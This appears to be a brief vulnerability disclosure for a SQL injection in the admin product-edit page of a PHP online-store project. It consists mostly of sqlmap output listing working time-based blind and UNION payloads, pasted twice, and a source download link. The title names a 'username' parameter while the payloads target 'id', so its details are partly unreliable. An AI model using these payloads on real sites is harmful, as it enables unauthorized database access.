SQL injection vulnerability exists in username parameter of /admin/edit_product.php file of Retro Cellphone Online Store

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
sqlmap identified the following injection point(s) with a total of 1923 HTTP(s) requests:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=0'XOR(if(now()=sysdate(),sleep(4),0))XOR'Z' AND (SELECT 9979 FROM (SELECT
(SLEEP(5)))uNJC)-- zmxF

    Type: UNION query
    Title: MySQL UNION query (NULL) - 5 columns
    Payload: id=0'XOR(if(now()=sysdate(),sleep(4),0))XOR'Z' UNION ALL SELECT NULL,NULL,NU
LL,CONCAT(0x7170717071,0x47787453554f554f6e676e67426d484c6e676954556e43507169716873596b4f
6d7158494f434752,0x7170787171),NULL,NULL,NULL,NULL#
---
```

“

Parameter: id (GET)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=0'XOR(if(now()=sysdate(),sleep(4),0))XOR'Z' AND (SELECT 9979 FROM (SELECT(SLEEP(5)))uNJC)-- zmxF

Type: UNION query

Title: MySQL UNION query (NULL) - 5 columns

Payload: id=0'XOR(if(now()=sysdate(),sleep(4),0))XOR'Z' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170717071,0x47787453554f554f6e676e67426d484c6e676954556e43507169716873596b4f6d7158494f434752,0x7170787171),NULL,NULL,NULL,NULL#

“

Source Download：

https://www.campcodes.com/projects/retro-cellphone-online-store-an-e-commerce-project-in-php-mysqli/